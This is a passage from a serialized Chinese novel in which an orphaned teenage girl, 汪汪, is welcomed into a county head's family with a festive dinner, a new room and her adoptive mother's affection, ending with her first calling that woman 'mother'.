这时候水县长就说:“她就是我说的汪汪,要是真的姓了咱们家的姓,那可就是‘水汪汪’了!”水县长的话,把大家都给逗乐了。

由姨听了就更打趣地说:“要是姓了我的姓,还是‘油汪汪’了呢!”由姨的话,就更让大家开怀大笑了……

说话间保姆就来叫大家吃饭了,由姨就介绍说,保姆姓冯,你就叫她冯阿姨吧。我听了就点头。大家来到餐厅坐定,刚要开饭的时候,门铃丁冬地响了,冯阿姨去开门,就气喘吁吁地进来个帅气的大小伙子。

由姨就嗔怪地说:“看你,怎么跑得浑身是汗哪!”

大小伙子就说:“我不是急着回来看客人嘛!”

这时候水县长就介绍说:“这是我儿子水中游,这就是我们家收养的汪汪。”

水中游也没等他父亲介绍完,就上来跟我握手,那热情洋溢的劲儿,就像是好朋友重逢。

这时候由姨说就对水中游说:“汪汪的户口本我看了,她的出生日期比你大三个月,你得跟汪汪叫姐姐呢!”

这时候水中游竟突然单腿跪地,双手抱拳,一本正经地说道:“汪汪姐在上,受中游小弟一拜!”他的举动弄得我不知所措,竟羞红了脸。

水县长就笑着埋怨说:“从那学来的这一套,像桃园三结义似的!”

这时候保姆冯阿姨就边捅我的后腰边教我说:“快说请起请起呀。”

我的大脑一片空白,不知怎么顺嘴就说了:“请起。请起……姐姐这厢还礼了……”!

水中游听了就站了起来,兴奋地对大家说:“看见没,我们两配合得多好,初次见面就珠联璧合,天衣无缝,往后,必将携手并肩,同仇敌忾!”

这时候水爷爷就说:“你俩呀,都快成一台戏啦!”

水奶奶也说:“快去洗手吧,大家就等你吃饭呢!”

等水中游洗完了手脸回到餐桌,就开饭了,桌上有鱼有虾,有鸡有鸭,有汤有菜,有果有瓜,丰盛得简直像在过年。每个人面前的杯子里还根据自己的需求斟满了不同的液体,水爷爷的是白酒,水***是椰汁,水县长的是干红,由姨的是矿泉水,水中游的是可乐;到了我,冯阿姨就问我要喝什么,我的大脑又空白了,竟说出了汽水!

水中游听了马上就回身从酒橱里拿出一听饮料来,啪地一声起开,就在我眼前的酒杯里倒出了白花花的许多泡沫,然后说,你要的汽水,现在改名叫“雪碧”了……

这时候水县长就端起了酒杯,说起了祝酒辞。他用浑厚的极具魅力的男声说道:“尽管我们的酒杯里承载的液体不同,但今天,我们的心愿却是一样的,那就是欢迎一个孤儿,一个漂亮的女孩,进入我们的家庭,成为我们家的一员,让我们为了她的到来,干杯!”

承载不同的液体酒杯碰在一起,奏响了一曲爱的旋律。心在荡漾啊,情在流淌,谁曾想,幸与不幸,原来是这么的不一样……

由姨也祝酒。她说:“早就听说汪汪了,早就有心收养她了,可是一直没能如愿,今天缘分成熟了,就让我们共同来收获这份天意吧——来,为我们家跟汪汪的缘分干杯!”

母爱呀,我缺失了十几年的母爱呀,你终于从天而降了,你就落在了我的眼前,落进了我的杯子里了,我终于可以将这份母爱一饮而进了……

水爷爷水奶奶也祝酒。他们说:“我们喜欢孙子,也喜欢孙女;可是我们家只有孙子,没有孙女;现在好了,既有孙子,又有孙女,齐了,全了!这就其乐融融,团团圆圆啦——来,为咱们的家庭的幸福圆满,干杯!”

家呀,对于普通的孩子是再简单不过的词汇了,可是在我字典里,却找了十五年才找到了呀!家呀,这将是我的家了呀,有爷爷,有奶奶,有爸爸,有妈妈,还有一个好兄弟——家呀,这将是我的家了呀!

水中游也祝酒。他说:“我做梦都想有个姐姐或是妹妹,因为生活的天空上,不能只有太阳,还要有月亮,这样才能乾坤呼应,阴阳平衡,左右逢缘,上下双赢。今天梦想成真了,来,为了我的漂亮姐姐永远漂亮,干杯!”

多么帅气英俊的大男孩呀,多么活泼可爱的好兄弟呀!其实我更是做梦都想自己有个像样的哥哥或是弟弟呀,应该是我梦想成真了才对呀!

该到我来祝酒了,我站起来,我举起酒杯,我要说的话太多了,我不知道我应该先说那句才好哇,我又不会将千言万语汇成一句话呀!我哽咽了,我流泪了,我大脑空白了,我眩晕了,我脑子里的那根罪恶的缝衣针又在关键的时候压迫了我的神经,夺走了我的清醒,我突然晕厥过去……

?



水色——44

我醒来的时候,发现自己躺在客厅里一个舒适的沙发上,由姨拉着我的手,就坐在旁边。

一瞬间我就想,也可能坐在我身边的就是我的亲妈吧——看她是多么慈爱,多么温情呀……

由姨见我醒了,就说:“你好些了吗?”我就要坐起来。由姨就赶紧按住我说:“你是晕车了吧,多躺一会儿吧,我叫冯阿姨给你做手擀面去了,一会儿就好。”

我听了就有眼泪从眼角流了下来。由姨就给我擦眼泪。边擦还边说:“到了我家,你就是我的孩子了,有什么要求,有什么心事尽管跟我说;我能帮你的我就直接做了,我不能帮你的,我也会让水县长帮你实现的。”

我听了由姨的话,还是一句话也说不出来,就只有眼泪扑簌簌地往外流……

这时候冯阿姨敲门进来了,手里端着热气腾腾的一碗手擀面,放在了我的面前。由姨就说:“吃吧,里边还卧了鸡蛋——我没让冯阿姨做多,你要是不够吃,我再让冯阿姨给你做。”

我被感动得简直都哭出声了!由姨就过来抱住我说:“别哭哇孩子,就把这里当成你的家吧……”

吃完了那碗淡而有味,香而不腻的手擀面,我的精神好多了。由姨就说:“我叫冯阿姨给你烧好了洗澡水,走吧,头一回,由姨陪你一起洗。”

由姨就把我领进了她家的卫生间,那简直就是一整间房子,装修并不豪华,但十分洗练洁净,且应有尽有。

由姨帮我脱去了我再也不需要穿的衣服,叫冯阿姨给自行处理了,然后由姨就让我步入了那个巨大的浴池,坐进了那无限温暖的清水之中。由姨也脱掉了身上的衣物,也进入浴池,就坐在了我的对面……我后来才渐渐懂得,由姨是要跟我彻底的身心相对,要让我跟她之间没有秘密。

我们相互都完全看到了对方的身体,我的青春初成和她的风韵尤存,在卫生间的大镜子里,分明反映的就是一对和睦的母女……

由姨帮我洗完了身体,又帮我洗头,这就让我想起了另一个曾经对我这样好过的三姨姥——那都是亲人的手啊,那都是母爱的手……我在由姨的帮助下,将自己以往所有的污秽做了一次彻底的洗礼!我从出浴的那一刻起,真就如出水的芙蓉,真是出污泥而不染了……由姨的母爱,真的不但净化了我的身体,同时也净化了我的心灵,让我有了信心,有了条件,有了跟过去的污泥浊水说再见的可能。

洗浴之后,我平生头一次穿上了由姨事先就为我准备好的,只属于我自己的浴衣,头上也戴上了我自己专用的浴巾……然后由姨就领我穿过走廊,来到一个布置一新的房间,关上门,由姨就对我说,这就是你自己的房间——

我就看见了漂亮的床上铺展着漂亮的被子和枕头;漂亮的学习桌上亮着漂亮的台灯和摆着漂亮的小书架;漂亮的衣柜旁还有漂亮的化妆台和一些日用化妆品;墙上糊的是素淡的壁纸,上面还挂着风景画;窗上挂的是落地的窗帘,两边还垂着漂亮的流苏;地上铺的是实木地板,还摆着一套乖巧的椅子和茶几;墙角摆的是彩色电视,旁边还有组合音响。

打开衣柜,上面挂的是四季的外衣,中间是换季的被褥,下边竟然还有几双不同款式的运动鞋和皮鞋;拉开书桌的抽屉,铅笔是成把的,钢笔还没有开封,圆规是成盒的里边有好几个头,三角板直尺也是好几个规格,就连橡皮都是彩色的,带香味儿的;挪开枕头,下面竟有两快手表,一个是电子的,很酷、很现代;一个是石英的,很雅、很女性——所有这些都是我的吗!

我不但不敢相信自己的眼睛,我连自己的感觉都将信将疑了——由姨就看出了我的迟疑,就亲切地对我说:“决定收养你之后,我就开始布置这个房间了,也不知道你的嗜好,也不知道你的身形尺码,买什么都只对人家说,十四五岁吧,而且约好了不合适就拿回去退换——你都喜欢吗?你都来试试吧……”

哪有一样我不喜欢的呀!哪有一件不适合我的呀!所有的一切都是我过去连做梦都梦不到的服饰和器物啊!

不知是巧合还是心灵相通,由姨给我买的几乎所有服饰包括鞋子都合体合身合脚!特别是那些我只有在电影、电视上看见的服装,现在都挂在了我的衣柜里,我可以尽情地换着穿,搭配着穿。最后由姨还说,还有两样东西没给你置办,就是你的新书包和你书架上要摆的书——明天是星期天,水中游答应陪咱们俩去商场和书店去挑呢……

那天夜里真是叫人无法入眠。我仿佛就置身于天堂,一个孤儿,一个受尽人间冷暖折磨的女孩,突然就成了县长家的孩子,突然就步入了一个无法想象的生活平台,一下子就拥有了连做梦都不曾拥有的崭新的、丰富的、优越的一切,叫人又怎能舍得睡着呢?我就在暗淡的月光下,看着我的房间里突然就属于我的那一切,就想起了自己的童年,想起了自己的遭遇,想起了母亲汪来香的身世……

午夜了,我的门开了,我看见是由姨进屋来了,她看我的一只手臂还放在被子外边,就给放回被子,然后盖好……我就有了错觉,我就觉得由姨就是我的母亲,就是我渴望了十四五年梦寐以求的母亲啊!看着由姨的背影,我真想喊她一声“妈妈”呀……

直到天将亮了,我才忽悠一下子睡着了……等我醒来,见水中游正在往我的书架上放书。我一看表,呀,都9点多啦!我就不好意思地对水中游说:“怎么不叫醒我呢?”

水中游就说:“我妈说了,你昨天一定是累了,就让你多睡一会儿——再说,你睡得像个睡美人,谁忍心叫醒你呀——我送给你几本我最喜欢的诗集,另外,客厅书柜里的《辞海》、《辞源》和其他工具书都是大家公用的,还有那些古今中外的名著,也都是大家共有,你想读什么就去拿什么好了——今天,等你一会儿吃完了饭,我就和我妈陪你去买个上学的书包——你那个书包可以进博物馆了——还有你到书店看中什么家里没有的书,你就只管买——告诉你一个秘密:我妈给你准备了一千块钱呢——你醒了就快起来吃饭吧,我先到厨房叫冯阿姨给你把饭菜摆好——你快点儿呀……”

我幸福得都不想起床了。可是一想到还有更多的幸福在前面等着我,我就一骨碌爬了起来,我要打起精神,我要全身心地去拥抱我的幸福……

吃了早饭,由姨和水中游就领我上了街,有认识的人问:“这是谁呀?”

由姨就说:“我女儿呀!”

认识的人就说:“没听说你有女儿呀!”

由姨就说:“生了她就送到乡下叫我父母看待了,现在是回城里念初中来了。”

认识的人竟赞不绝口地夸道:“我说怎么长得像你一样漂亮呢!”

由姨就抱住我的肩膀对认识的人说:“我女儿嘛,怎么能不像我呢!”

由姨的那一抱和那一句话,就像春风一样吹开了我的心扉,我情不自禁地说了一句:“妈,咱们快走吧……”听得由姨欣喜若狂,边笑着跟认识的人告别,边把我的肩膀搂得更紧,甚至将她的脸贴在了我的脸上……

从街上回来,只买了一个漂亮书包,没有买书,因为在临出家门的时候,我浏览了家里客厅的书柜,里边几乎是应有尽有了,那些书大概就够我看个十年八年了,所以我也就没再让由姨给我买书。由姨就将那一千块钱递到我手上说:“不买书这钱就给你做学习基金,就由你自己支配。”

我就说:“我要那么多钱干什么呀,再说我自己不是有两万块钱吗。”

由姨就说:“你那两万我都给你用你自己的名字给存了定期的了,等你用大钱的时候再用,其他你的费用,就都由我来负担;不为别的,就为你刚才叫我那声妈,你让我为你花多少钱我也愿意呀……”

我听了眼泪就含在眼圈了,我就扑上去紧紧地抱住了由姨,哭着就喊了一声“妈——”!

那一刻我的心就有了归属感,我不但有了家,我同时也有了妈妈呀!那是有母爱的家呀,那是有亲情的妈呀!我如入无人之境当街就抱住由姨就呜呜大哭起来……

这时候刚才见过的那个认识的人买东西回来又遇上了,见了此情此景,就感慨地说:“看来真不能把孩子送给老人来养啊——到头来,孩子、大人在感情上,都受不了哇,唉……”

认识的人居然也跟着掉下了眼泪。由姨只得应和着说:“是啊,是啊……”